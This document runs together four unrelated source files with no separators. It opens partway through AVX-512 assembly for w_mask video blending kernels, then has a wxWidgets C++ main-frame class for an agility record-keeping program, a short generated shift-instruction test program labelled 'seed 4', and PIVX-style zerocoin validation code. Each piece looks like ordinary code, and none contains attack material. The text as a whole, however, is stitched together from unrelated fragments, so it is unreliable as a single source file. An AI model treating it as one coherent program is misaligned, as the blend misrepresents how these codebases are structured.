0, 1 mova m1, m8 vpdpbusd m1, m4, m9 add tmp1q, 128 add tmp2q, 128 vpermb m1, m10, m1 vpermq m0, m5, m0 mova [maskq], xm1 add maskq, 16 mova [dstq+strideq*0], ym0 vextracti32x8 [dstq+strideq*1], m0, 1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w32_loop RET .w64: pmovzxbq m12, [wm_420_perm64] ; 0, 2, 4, 6, 8, 10, 12, 14 psrlq m13, m12, 4 ; 1, 3, 5, 7, 9, 11, 13, 15 .w64_loop: W_MASK 0, 4, 0, 2 W_MASK 11, 5, 1, 3 mova m2, m8 vpdpbusd m2, m4, m9 mova m3, m8 vpdpbusd m3, m5, m9 add tmp1q, 256 add tmp2q, 256 vpermt2b m2, m10, m3 mova m1, m0 vpermt2q m0, m12, m11 vpermt2q m1, m13, m11 mova [maskq], ym2 add maskq, 32 mova [dstq+strideq*0], m0 mova [dstq+strideq*1], m1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w64_loop RET .w128: pmovzxbq m14, [wm_420_perm64] mova m10, [wm_420_mask] psrlq m15, m14, 4 .w128_loop: W_MASK 0, 12, 0, 4 W_MASK 11, 13, 1, 5 mova m4, m8 vpdpbusd m4, m12, m9 mova m5, m8 vpdpbusd m5, m13, m9 mova m1, m0 vpermt2q m0, m14, m11 vpermt2q m1, m15, m11 mova [dstq+strideq*0+64*0], m0 mova [dstq+strideq*1+64*0], m1 W_MASK 0, 12, 2, 6 W_MASK 11, 13, 3, 7 vprold m4, 16 vprold m5, 16 vpdpbusd m4, m12, m9 vpdpbusd m5, m13, m9 add tmp1q, 512 add tmp2q, 512 vpermt2b m4, m10, m5 mova m1, m0 vpermt2q m0, m14, m11 vpermt2q m1, m15, m11 mova [maskq], m4 add maskq, 64 mova [dstq+strideq*0+64*1], m0 mova [dstq+strideq*1+64*1], m1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w128_loop RET cglobal w_mask_422, 4, 8, 14, dst, stride, tmp1, tmp2, w, h, mask, stride3 %define base r7-w_mask_422_avx512icl_table lea r7, [w_mask_422_avx512icl_table] tzcnt wd, wm mov r6d, r7m ; sign movifnidn hd, hm movsxd wq, dword [r7+wq*4] vpbroadcastd m6, [base+pw_6903] ; ((64 - 38) << 8) + 255 - 8 vpbroadcastd m7, [base+pw_2048] vpbroadcastd m9, [base+pw_m128] mova m10, [base+wm_422_mask] vpbroadcastd m11, [base+pb_127] add wq, r7 vpbroadcastd m8, [base+wm_sign+4+r6*4] mov maskq, maskmp lea stride3q, [strideq*3] jmp wq .w4: cmp hd, 8 jg .w4_h16 WRAP_YMM W_MASK 0, 4, 0, 1 movhps xm10, [wm_422_mask+16] vpdpwssd ym8, ym4, ym9 vpermb ym8, ym10, ym8 vextracti128 xmm1, m0, 1 movd [dstq+strideq*0], xm0 pextrd [dstq+strideq*1], xm0, 1 movd [dstq+strideq*2], xmm1 pextrd [dstq+stride3q ], xmm1, 1 jl .w4_end lea dstq, [dstq+strideq*4] pextrd [dstq+strideq*0], xm0, 2 pextrd [dstq+strideq*1], xm0, 3 pextrd [dstq+strideq*2], xmm1, 2 pextrd [dstq+stride3q ], xmm1, 3 .w4_end: pand xm8, xm11 mova [maskq], xm8 RET .w4_h16: vpbroadcastd m5, strided pmulld m5, [bidir_sctr_w4] W_MASK 0, 4, 0, 1 vpdpwssd m8, m4, m9 kxnorw k1, k1, k1 vpermb m8, m10, m8 pand ym8, ym11 mova [maskq], ym8 vpscatterdd [dstq+m5]{k1}, m0 RET .w8: cmp hd, 4 jne .w8_h8 WRAP_YMM W_MASK 0, 4, 0, 1 movhps xm10, [wm_422_mask+16] vpdpwssd ym8, ym4, ym9 vpermb ym8, ym10, ym8 pand xm8, xm11 mova [maskq], xm8 vextracti128 xmm1, ym0, 1 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xm0 movhps [dstq+stride3q ], xmm1 RET .w8_loop: add tmp1q, 128 add tmp2q, 128 add maskq, 32 lea dstq, [dstq+strideq*4] .w8_h8: W_MASK 0, 4, 0, 1 mova m1, m8 vpdpwssd m1, m4, m9 vpermb m1, m10, m1 pand ym1, ym11 mova [maskq], ym1 vextracti32x4 xmm1, ym0, 1 vextracti32x4 xmm2, m0, 2 vextracti32x4 xmm3, m0, 3 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movq [dstq+strideq*2], xmm2 movq [dstq+stride3q ], xmm3 lea dstq, [dstq+strideq*4] movhps [dstq+strideq*0], xm0 movhps [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xmm2 movhps [dstq+stride3q ], xmm3 sub hd, 8 jg .w8_loop RET .w16_loop: add tmp1q, 128 add tmp2q, 128 add maskq, 32 lea dstq, [dstq+strideq*4] .w16: W_MASK 0, 4, 0, 1 mova m1, m8 vpdpwssd m1, m4, m9 vpermb m1, m10, m1 vpermq m0, m0, q3120 pand ym1, ym11 mova [maskq], ym1 mova [dstq+strideq*0], xm0 vextracti32x4 [dstq+strideq*1], m0, 2 vextracti32x4 [dstq+strideq*2], ym0, 1 vextracti32x4 [dstq+stride3q ], m0, 3 sub hd, 4 jg .w16_loop RET .w32: pmovzxbq m5, [pb_02461357] .w32_loop: W_MASK 0, 4, 0, 1 mova m1, m8 vpdpwssd m1, m4, m9 add tmp1q, 128 add tmp2q, 128 vpermb m1, m10, m1 vpermq m0, m5, m0 pand ym1, ym11 mova [maskq], ym1 add maskq, 32 mova [dstq+strideq*0], ym0 vextracti32x8 [dstq+strideq*1], m0, 1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w32_loop RET .w64: pmovzxbq m5, [pb_02461357] .w64_loop: W_MASK 0, 4, 0, 1 mova m1, m8 vpdpwssd m1, m4, m9 add tmp1q, 128 add tmp2q, 128 vpermb m1, m10, m1 vpermq m0, m5, m0 pand ym1, ym11 mova [maskq], ym1 add maskq, 32 mova [dstq], m0 add dstq, strideq dec hd jg .w64_loop RET .w128: pmovzxbq m13, [pb_02461357] .w128_loop: W_MASK 0, 4, 0, 1 W_MASK 12, 5, 2, 3 mova m2, m8 vpdpwssd m2, m4, m9 mova m3, m8 vpdpwssd m3, m5, m9 add tmp1q, 256 add tmp2q, 256 vpermt2b m2, m10, m3 vpermq m0, m13, m0 vpermq m1, m13, m12 pand m2, m11 mova [maskq], m2 add maskq, 64 mova [dstq+64*0], m0 mova [dstq+64*1], m1 add dstq, strideq dec hd jg .w128_loop RET cglobal w_mask_444, 4, 8, 12, dst, stride, tmp1, tmp2, w, h, mask, stride3 %define base r7-w_mask_444_avx512icl_table lea r7, [w_mask_444_avx512icl_table] tzcnt wd, wm movifnidn hd, hm movsxd wq, dword [r7+wq*4] vpbroadcastd m6, [base+pw_6903] ; ((64 - 38) << 8) + 255 - 8 vpbroadcastd m5, [base+pb_64] vpbroadcastd m7, [base+pw_2048] mova m8, [base+wm_444_mask] add wq, r7 mov maskq, maskmp lea stride3q, [strideq*3] jmp wq .w4: cmp hd, 8 jg .w4_h16 WRAP_YMM W_MASK 0, 4, 0, 1, 1 vinserti128 ym8, [wm_444_mask+32], 1 vpermb ym4, ym8, ym4 mova [maskq], ym4 vextracti128 xmm1, m0, 1 movd [dstq+strideq*0], xm0 pextrd [dstq+strideq*1], xm0, 1 movd [dstq+strideq*2], xmm1 pextrd [dstq+stride3q ], xmm1, 1 jl .w4_end lea dstq, [dstq+strideq*4] pextrd [dstq+strideq*0], xm0, 2 pextrd [dstq+strideq*1], xm0, 3 pextrd [dstq+strideq*2], xmm1, 2 pextrd [dstq+stride3q ], xmm1, 3 .w4_end: RET .w4_h16: vpbroadcastd m9, strided pmulld m9, [bidir_sctr_w4] W_MASK 0, 4, 0, 1, 1 vpermb m4, m8, m4 kxnorw k1, k1, k1 mova [maskq], m4 vpscatterdd [dstq+m9]{k1}, m0 RET .w8: cmp hd, 4 jne .w8_h8 WRAP_YMM W_MASK 0, 4, 0, 1, 1 vinserti128 ym8, [wm_444_mask+32], 1 vpermb ym4, ym8, ym4 mova [maskq], ym4 vextracti128 xmm1, ym0, 1 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xm0 movhps [dstq+stride3q ], xmm1 RET .w8_loop: add tmp1q, 128 add tmp2q, 128 add maskq, 64 lea dstq, [dstq+strideq*4] .w8_h8: W_MASK 0, 4, 0, 1, 1 vpermb m4, m8, m4 mova [maskq], m4 vextracti32x4 xmm1, ym0, 1 vextracti32x4 xmm2, m0, 2 vextracti32x4 xmm3, m0, 3 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movq [dstq+strideq*2], xmm2 movq [dstq+stride3q ], xmm3 lea dstq, [dstq+strideq*4] movhps [dstq+strideq*0], xm0 movhps [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xmm2 movhps [dstq+stride3q ], xmm3 sub hd, 8 jg .w8_loop RET .w16_loop: add tmp1q, 128 add tmp2q, 128 add maskq, 64 lea dstq, [dstq+strideq*4] .w16: W_MASK 0, 4, 0, 1, 1 vpermb m4, m8, m4 vpermq m0, m0, q3120 mova [maskq], m4 mova [dstq+strideq*0], xm0 vextracti32x4 [dstq+strideq*1], m0, 2 vextracti32x4 [dstq+strideq*2], ym0, 1 vextracti32x4 [dstq+stride3q ], m0, 3 sub hd, 4 jg .w16_loop RET .w32: pmovzxbq m9, [pb_02461357] .w32_loop: W_MASK 0, 4, 0, 1, 1 vpermb m4, m8, m4 add tmp1q, 128 add tmp2q, 128 vpermq m0, m9, m0 mova [maskq], m4 add maskq, 64 mova [dstq+strideq*0], ym0 vextracti32x8 [dstq+strideq*1], m0, 1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w32_loop RET .w64: pmovzxbq m9, [pb_02461357] .w64_loop: W_MASK 0, 4, 0, 1, 1 vpermb m4, m8, m4 add tmp1q, 128 add tmp2q, 128 vpermq m0, m9, m0 mova [maskq], m4 add maskq, 64 mova [dstq], m0 add dstq, strideq dec hd jg .w64_loop RET .w128: pmovzxbq m11, [pb_02461357] .w128_loop: W_MASK 0, 4, 0, 1, 1 W_MASK 10, 9, 2, 3, 1 vpermb m4, m8, m4 vpermb m9, m8, m9 add tmp1q, 256 add tmp2q, 256 vpermq m0, m11, m0 vpermq m10, m11, m10 mova [maskq+64*0], m4 mova [maskq+64*1], m9 add maskq, 128 mova [dstq+64*0], m0 mova [dstq+64*1], m10 add dstq, strideq dec hd jg .w128_loop RET %endif ; HAVE_AVX512ICL && ARCH_X86_64
/* * Copyright (c) David Connet. All Rights Reserved. * * License: See License.txt */ /** * @file * @brief implementation of the CMainFrame class * @author David Connet * * Revision History * 2018-12-16 Convert to fmt. * 2015-09-30 Dbl-click on Filter status area invokes Preferences. * 2015-09-12 Clean up status bar sizing. SetStatusBarWidths was broken on Mac. * 2015-08-11 Status bar gripper is too small on hiDPI. Kludge. * 2014-05-18 Moved startup version check to a timer. * 2012-11-14 "Filtered" was truncated in wx2.8 status bar. * 2012-01-07 Fix tab type/orientation persistence. * 2011-12-22 Switch to using Bind on wx2.9+. * 2009-09-13 Add support for wxWidgets 2.9, deprecate tstring. * 2009-07-25 Fix status width on Mac. * 2009-01-06 Ported to wxWidgets. * 2008-11-19 Added context menus to status bar. * 2006-09-01 Added multi-monitor support. * 2003-05-18 Obsoleted registry settings "Calendar"/"List" (bool) * "Settings"/"View" (int) changed (see TabView.cpp) */ #include "stdafx.h" #include "MainFrm.h" #include "AgilityBook.h" #include "AgilityBookDoc.h" #include "AgilityBookMenu.h" #include "AgilityBookOptions.h" #include "CommonView.h" #include "DlgAbout.h" #include "DlgMessage.h" #include "ImageHelper.h" #include "PointsData.h" #include "Print.h" #include "RegItems.h" #include "TabView.h" #include "UpdateInfo.h" #include "VersionNumber.h" #include "ARBCommon/ARBMisc.h" #include "ARBCommon/StringUtil.h" #include "LibARBWin/ARBDebug.h" #include "LibARBWin/DPI.h" #include <wx/config.h> #include <wx/dnd.h> #include <wx/platinfo.h> #include <wx/stdpaths.h> #include <wx/version.h> #ifdef __WXMSW__ #include <wx/msw/msvcrt.h> #endif ///////////////////////////////////////////////////////////////////////////// #if wxUSE_DRAG_AND_DROP bool CFileDropTarget::OnDropFiles(wxCoord x, wxCoord y, wxArrayString const& filenames) { if (1 != filenames.size()) return false; m_docMgr->CreateDocument(filenames[0], wxDOC_SILENT); return true; } #endif ///////////////////////////////////////////////////////////////////////////// CConfigProgram::CConfigProgram() : CConfigPosition(CConfigPosition::eConfigAll) { } wxString CConfigProgram::SectionName() const { return CFG_KEY_SETTINGS; } wxString CConfigProgram::LastX() const { return CFG_SETTINGS_LASTXPOS; } wxString CConfigProgram::LastY() const { return CFG_SETTINGS_LASTYPOS; } wxString CConfigProgram::LastCX() const { return CFG_SETTINGS_LASTCX; } wxString CConfigProgram::LastCY() const { return CFG_SETTINGS_LASTCY; } wxString CConfigProgram::LastState() const { return CFG_SETTINGS_LASTSTATE; } ///////////////////////////////////////////////////////////////////////////// wxBEGIN_EVENT_TABLE(CMainFrame, wxDocParentFrame) #ifdef EVT_DPI_CHANGED EVT_DPI_CHANGED(CMainFrame::OnDPIChanged) #endif EVT_CLOSE(CMainFrame::OnClose) EVT_UPDATE_UI(wxID_DUPLICATE, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_CUT, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_COPY, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_PASTE, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_DELETE, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_SELECTALL, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI(wxID_FIND, CMainFrame::OnUpdateCmd) EVT_UPDATE_UI_RANGE(ID_ARB_FIRST, ID_ARB_LAST, CMainFrame::OnUpdateCmd) EVT_MENU(ID_FILE_LANGUAGE_CHOOSE, CMainFrame::OnFileLanguageChoose) EVT_MENU(ID_FILE_PRINT_BLANK_RUNS, CMainFrame::OnPrintBlankRuns) EVT_MENU(wxID_EXIT, CMainFrame::OnQuit) EVT_MENU_RANGE(ID_BOOK_FIRST, ID_BOOK_LAST, CMainFrame::OnType) EVT_MENU_RANGE(ID_ORIENT_FIRST, ID_ORIENT_LAST, CMainFrame::OnOrient) EVT_MENU(ID_NEXT_PANE, CMainFrame::OnNextPane) EVT_MENU(ID_PREV_PANE, CMainFrame::OnPrevPane) EVT_MENU(ID_VIEW_CUSTOMIZE_ACCEL, CMainFrame::OnViewCustomizeAccel) EVT_MENU(ID_HELP_UPDATE, CMainFrame::OnHelpCheckUpdates) EVT_MENU(ID_HELP_SYSINFO, CMainFrame::OnHelpSysinfo) EVT_MENU(wxID_ABOUT, CMainFrame::OnHelpAbout) wxEND_EVENT_TABLE() CMainFrame::CMainFrame(wxDocManager* manager) : wxDocParentFrame( manager, nullptr, wxID_ANY, _("Agility Record Book"), wxDefaultPosition, wxDefaultSize, wxDEFAULT_FRAME_STYLE) , m_manager(manager) , m_statusBar(this, NUM_STATUS_FIELDS) , m_UpdateInfo(this) { SetIcons(CImageManager::Get()->GetIconBundle(ImageMgrAppBundle)); //#if wxUSE_HELP // Note: do not set help on the frame. Help will disable the min/max buttons. // SetExtraStyle(wxFRAME_EX_CONTEXTHELP | GetExtraStyle()); //#endif wxMenu* menuRecent = new wxMenu; manager->FileHistoryUseMenu(menuRecent); manager->FileHistoryAddFilesToMenu(); wxGetApp().GetMenus().CreateMenu(this, menuRecent); wxStatusBar* statusbar = m_statusBar.Initialize(); if (statusbar) { statusbar->Bind(wxEVT_CONTEXT_MENU, &CMainFrame::OnStatusBarContextMenu, this); statusbar->Bind(wxEVT_LEFT_DCLICK, &CMainFrame::OnStatusBarDblClick, this); for (int i = 1; i < NUM_STATUS_FIELDS; ++i) { wxString str; switch (i) { default: assert(0); break; case STATUS_DOG: str = _("ID_INDICATOR_DOG"); break; case STATUS_STATUS: str = _("ID_INDICATOR_STATUS"); break; case STATUS_FILTERED: str = _("ID_INDICATOR_FILTERED"); break; } m_statusBar.Update(i, str); } } #if wxUSE_DRAG_AND_DROP SetDropTarget(new CFileDropTarget(manager)); #endif m_UpdateInfo.Initialize(); } CMainFrame::~CMainFrame() { } bool CMainFrame::DownloadInProgress() { return m_UpdateInfo.DownloadInProgress(); } bool CMainFrame::CanClose() { return m_UpdateInfo.CanClose(this, true); } void CMainFrame::SetMessageText(std::wstring const& msg, bool bFiltered) { SetMessage(msg, STATUS_STATUS, true); std::wstring filtered; if (bFiltered) filtered = _("ID_INDICATOR_FILTERED"); SetMessage(filtered, STATUS_FILTERED, false); } void CMainFrame::SetMessageText2(std::wstring const& msg) { SetMessage(msg, STATUS_DOG, true); } // Note: This is only called from CAgilityBookDoc::OnOpenDocument void CMainFrame::AutoCheckConfiguration(CAgilityBookDoc* pDoc) { m_UpdateInfo.AutoCheckConfiguration(pDoc); } // Note: Called from OnHelpCheckUpdates and CDlgAbout::OnCheckForUpdates void CMainFrame::UpdateConfiguration(CAgilityBookDoc* pDoc, bool& outDownloadStarted) { m_UpdateInfo.UpdateConfiguration(pDoc, outDownloadStarted); } void CMainFrame::SetMessage(std::wstring const& msg, int index, bool bResize) { wxStatusBar* statusbar = GetStatusBar(); if (!statusbar) return; wxString str = StringUtil::stringWX(msg); if (bResize) m_statusBar.Update(index, str); else SetStatusText(str, index); } void CMainFrame::OnStatusBarContextMenu(wxContextMenuEvent& evt) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); assert(pDoc); wxStatusBar* statusbar = nullptr; wxPoint point; auto id = m_statusBar.GetContextMenuFieldId(evt, statusbar, point); switch (id) { default: evt.Skip(); break; case STATUS_DOG: case STATUS_STATUS: case STATUS_FILTERED: if (!pDoc->StatusBarContextMenu(statusbar, id, point)) evt.Skip(); break; } } void CMainFrame::OnStatusBarDblClick(wxMouseEvent& evt) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); assert(pDoc); wxCommandEvent evtCmd(wxEVT_MENU, wxID_PREFERENCES); switch (m_statusBar.GetDoubleClickFieldId(evt)) { default: evt.Skip(); break; case STATUS_FILTERED: evtCmd.SetEventObject(this); pDoc->ProcessEvent(evtCmd); break; } } #ifdef EVT_DPI_CHANGED void CMainFrame::OnDPIChanged(wxDPIChangedEvent& evt) { #pragma PRAGMA_TODO(per - monitor rendering) #if 0 // wParam: new DPI // lParam: scaled rect of window DPI::SetScale(LOWORD(wParam)); // Based on MS sample // For the new DPI: resize the window, select new // fonts, and re-render window content LPRECT lprcNewScale = (LPRECT)lParam; ::SetWindowPos(this->m_hWnd, HWND_TOP, lprcNewScale->left, lprcNewScale->top, lprcNewScale->right - lprcNewScale->left, lprcNewScale->bottom - lprcNewScale->top, SWP_NOZORDER | SWP_NOACTIVATE); CreateFonts(hWnd); RedrawWindow(hWnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE); #endif #if defined(WIN32) && defined(_DEBUG) wxSize old = evt.GetOldDPI(); wxSize newsz = evt.GetNewDPI(); std::wstring str = fmt::format(L"DPI Old: {},{} New: {},{}\n", old.x, old.y, newsz.x, newsz.y); OutputDebugString(str.c_str()); #endif evt.Skip(); } #endif void CMainFrame::OnClose(wxCloseEvent& evt) { // Note: CancelDownload will return false is no request is active. if (evt.CanVeto() && m_UpdateInfo.CancelDownload()) { // When m_UpdateInfo is notified, it will call wxApp().GetTopWindow()->Close() SetStatusText(_("Canceling file download..."), 0); evt.Veto(); return; } CConfigProgram pos; pos.Save(this); evt.Skip(); } void CMainFrame::OnUpdateCmd(wxUpdateUIEvent& evt) { bool bEnable = false; switch (evt.GetId()) { default: // Eat std commands that haven't been implemented by a child view if ((ID_BOOK_FIRST <= evt.GetId() && evt.GetId() < ID_BOOK_LAST) || (ID_ORIENT_FIRST <= evt.GetId() && evt.GetId() < ID_ORIENT_LAST)) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); assert(pDoc); CTabView* pView = pDoc->GetTabView(); assert(pView); bEnable = true; bool bCheck = false; if (ID_BOOK_FIRST <= evt.GetId() && evt.GetId() < ID_BOOK_LAST) bCheck = pView->GetType() == evt.GetId(); else bCheck = pView->GetOrient() == evt.GetId(); evt.Check(bCheck); } break; case ID_FILE_LANGUAGE_CHOOSE: case ID_FILE_PRINT_BLANK_RUNS: bEnable = true; break; case ID_NEXT_PANE: { CAgilityBookBaseExtraView* pView = wxDynamicCast(GetDocumentManager()->GetCurrentView(), CAgilityBookBaseExtraView); if (pView) bEnable = pView->HasNextPane(); } break; case ID_PREV_PANE: { CAgilityBookBaseExtraView* pView = wxDynamicCast(GetDocumentManager()->GetCurrentView(), CAgilityBookBaseExtraView); if (pView) bEnable = pView->HasPrevPane(); } break; case ID_VIEW_CUSTOMIZE_ACCEL: case ID_HELP_SYSINFO: bEnable = true; break; case ID_HELP_UPDATE: bEnable = !m_UpdateInfo.DownloadInProgress(); break; } evt.Enable(bEnable); } void CMainFrame::OnFileLanguageChoose(wxCommandEvent& evt) { if (wxGetApp().SelectLanguage(this)) { if (GetDocumentManager()->GetCurrentDocument()) { CUpdateHint hint(UPDATE_LANG_CHANGE); GetDocumentManager()->GetCurrentDocument()->UpdateAllViews(nullptr, &hint); } wxGetApp().GetMenus().UpdateMenu(); CAgilityBookBaseView* pView = wxDynamicCast(GetDocumentManager()->GetCurrentView(), CAgilityBookBaseView); std::wstring msg; bool bFiltered = false; if (pView && pView->GetMessage(msg)) bFiltered = pView->IsFiltered(); else msg.clear(); SetMessageText(msg, false); if (!pView || !pView->GetMessage2(msg)) msg.clear(); SetMessageText2(msg); } } void CMainFrame::OnPrintBlankRuns(wxCommandEvent& evt) { std::vector<RunInfo> runs; PrintRuns(nullptr, runs); } void CMainFrame::OnQuit(wxCommandEvent& evt) { Close(true); } void CMainFrame::OnType(wxCommandEvent& evt) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); assert(pDoc); CTabView* pView = pDoc->GetTabView(); assert(pView); pView->OnType(evt.GetId()); } void CMainFrame::OnOrient(wxCommandEvent& evt) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); assert(pDoc); CTabView* pView = pDoc->GetTabView(); assert(pView); pView->OnOrient(evt.GetId()); } void CMainFrame::OnNextPane(wxCommandEvent& evt) { bool bHandled = false; CAgilityBookBaseExtraView* pView = wxDynamicCast(GetDocumentManager()->GetCurrentView(), CAgilityBookBaseExtraView); if (pView) bHandled = pView->NextPane(); if (!bHandled) evt.Skip(); } void CMainFrame::OnPrevPane(wxCommandEvent& evt) { bool bHandled = false; CAgilityBookBaseExtraView* pView = wxDynamicCast(GetDocumentManager()->GetCurrentView(), CAgilityBookBaseExtraView); if (pView) bHandled = pView->PrevPane(); if (!bHandled) evt.Skip(); } void CMainFrame::OnViewCustomizeAccel(wxCommandEvent& evt) { wxGetApp().GetMenus().ConfigureAccelerators(this); } void CMainFrame::OnHelpCheckUpdates(wxCommandEvent& evt) { bool close = false; CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); UpdateConfiguration(pDoc, close); // App will auto-close when download is done. } void CMainFrame::OnHelpSysinfo(wxCommandEvent& evt) { CVersionNum ver(ARB_VER_MAJOR, ARB_VER_MINOR, ARB_VER_DOT, ARB_VER_BUILD); std::wstring str = ARBDebug::GetSystemInfo(this, ver); CDlgMessage dlg(str, this); dlg.ShowModal(); } void CMainFrame::OnHelpAbout(wxCommandEvent& evt) { CAgilityBookDoc* pDoc = wxDynamicCast(GetDocumentManager()->GetCurrentDocument(), CAgilityBookDoc); CDlgAbout dlg(pDoc, this); dlg.ShowModal(); }
// seed 4 lbi r0, 252 // icount 0 slbi r0, 66 // icount 1 lbi r1, 166 // icount 2 slbi r1, 175 // icount 3 lbi r2, 10 // icount 4 slbi r2, 50 // icount 5 lbi r3, 111 // icount 6 slbi r3, 182 // icount 7 lbi r4, 108 // icount 8 slbi r4, 206 // icount 9 lbi r5, 212 // icount 10 slbi r5, 143 // icount 11 lbi r6, 34 // icount 12 slbi r6, 48 // icount 13 lbi r7, 61 // icount 14 slbi r7, 82 // icount 15 sll r6, r6, r0 // icount 16 sll r6, r4, r6 // icount 17 sll r7, r7, r6 // icount 18 sll r1, r7, r7 // icount 19 sll r0, r5, r5 // icount 20 sll r1, r3, r5 // icount 21 sll r1, r2, r7 // icount 22 sll r1, r0, r5 // icount 23 sll r7, r0, r4 // icount 24 sll r4, r6, r4 // icount 25 sll r1, r6, r2 // icount 26 sll r0, r1, r7 // icount 27 sll r4, r5, r3 // icount 28 sll r5, r4, r4 // icount 29 sll r3, r2, r5 // icount 30 sll r0, r3, r0 // icount 31 halt // icount 32
// Copyright (c) 2020 The PIVX developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or https://www.opensource.org/licenses/mit-license.php. #include "legacy/validation_zerocoin_legacy.h" #include "consensus/zerocoin_verify.h" #include "libzerocoin/CoinSpend.h" #include "wallet/wallet.h" #include "znomdchain.h" #include "znomd/znomdmodule.h" bool AcceptToMemoryPoolZerocoin(const CTransaction& tx, CAmount& nValueIn, int chainHeight, CValidationState& state, const Consensus::Params& consensus) { nValueIn = tx.GetZerocoinSpent(); //Check that txid is not already in the chain int nHeightTx = 0; if (IsTransactionInChain(tx.GetHash(), nHeightTx)) return state.Invalid(error("%s : zNOMD spend tx %s already in block %d", __func__, tx.GetHash().GetHex(), nHeightTx), REJECT_DUPLICATE, "bad-txns-inputs-spent"); //Check for double spending of serial #'s for (const CTxIn& txIn : tx.vin) { // Only allow for public zc spends inputs if (!txIn.IsZerocoinPublicSpend()) return state.Invalid(false, REJECT_INVALID, "bad-zc-spend-notpublic"); libzerocoin::ZerocoinParams* params = consensus.Zerocoin_Params(false); PublicCoinSpend publicSpend(params); if (!ZNOMDModule::ParseZerocoinPublicSpend(txIn, tx, state, publicSpend)){ return false; } if (!ContextualCheckZerocoinSpend(tx, &publicSpend, chainHeight, UINT256_ZERO)) return state.Invalid(false, REJECT_INVALID, "bad-zc-spend-contextcheck"); // Check that the version matches the one enforced with SPORK_18 if (!CheckPublicCoinSpendVersion(publicSpend.getVersion())) { return state.Invalid(false, REJECT_INVALID, "bad-zc-spend-version"); } } return true; } bool DisconnectZerocoinTx(const CTransaction& tx, CAmount& nValueIn, CZerocoinDB* zerocoinDB) { /** UNDO ZEROCOIN DATABASING * note we only undo zerocoin databasing in the following statement, value to and from NOMADIC * addresses should still be handled by the typical bitcoin based undo code * */ if (tx.ContainsZerocoins()) { libzerocoin::ZerocoinParams *params = Params().GetConsensus().Zerocoin_Params(false); if (tx.HasZerocoinSpendInputs()) { //erase all zerocoinspends in this transaction for (const CTxIn &txin : tx.vin) { bool isPublicSpend = txin.IsZerocoinPublicSpend(); if (txin.scriptSig.IsZerocoinSpend() || isPublicSpend) { CBigNum serial; if (isPublicSpend) { PublicCoinSpend publicSpend(params); CValidationState state; if (!ZNOMDModule::ParseZerocoinPublicSpend(txin, tx, state, publicSpend)) { return error("Failed to parse public spend"); } serial = publicSpend.getCoinSerialNumber(); nValueIn += publicSpend.getDenomination() * COIN; } else { libzerocoin::CoinSpend spend = TxInToZerocoinSpend(txin); serial = spend.getCoinSerialNumber(); nValueIn += spend.getDenomination() * COIN; } if (!zerocoinDB->EraseCoinSpend(serial)) return error("failed to erase spent zerocoin in block"); } } } if (tx.HasZerocoinMintOutputs()) { //erase all zerocoinmints in this transaction for (const CTxOut &txout : tx.vout) { if (txout.scriptPubKey.empty() || !txout.IsZerocoinMint()) continue; libzerocoin::PublicCoin pubCoin(params); CValidationState state; if (!TxOutToPublicCoin(txout, pubCoin, state)) return error("DisconnectBlock(): TxOutToPublicCoin() failed"); if (!zerocoinDB->EraseCoinMint(pubCoin.getValue())) return error("DisconnectBlock(): Failed to erase coin mint"); } } } return true; } // Legacy Zerocoin DB: used for performance during IBD // (between Zerocoin_Block_V2_Start and Zerocoin_Block_Last_Checkpoint) void DataBaseAccChecksum(CBlockIndex* pindex, bool fWrite) { const Consensus::Params& consensus = Params().GetConsensus(); if (!pindex || !consensus.NetworkUpgradeActive(pindex->nHeight, Consensus::UPGRADE_ZC_V2) || pindex->nHeight > consensus.height_last_ZC_AccumCheckpoint || pindex->nAccumulatorCheckpoint == pindex->pprev->nAccumulatorCheckpoint) return; uint256 accCurr = pindex->nAccumulatorCheckpoint; uint256 accPrev = pindex->pprev->nAccumulatorCheckpoint; // add/remove changed checksums to/from DB for (int i = (int)libzerocoin::zerocoinDenomList.size()-1; i >= 0; i--) { const uint32_t& nChecksum = accCurr.Get32(); if (nChecksum != accPrev.Get32()) { fWrite ? zerocoinDB->WriteAccChecksum(nChecksum, libzerocoin::zerocoinDenomList[i], pindex->nHeight) : zerocoinDB->EraseAccChecksum(nChecksum, libzerocoin::zerocoinDenomList[i]); } accCurr >>= 32; accPrev >>= 32; } }
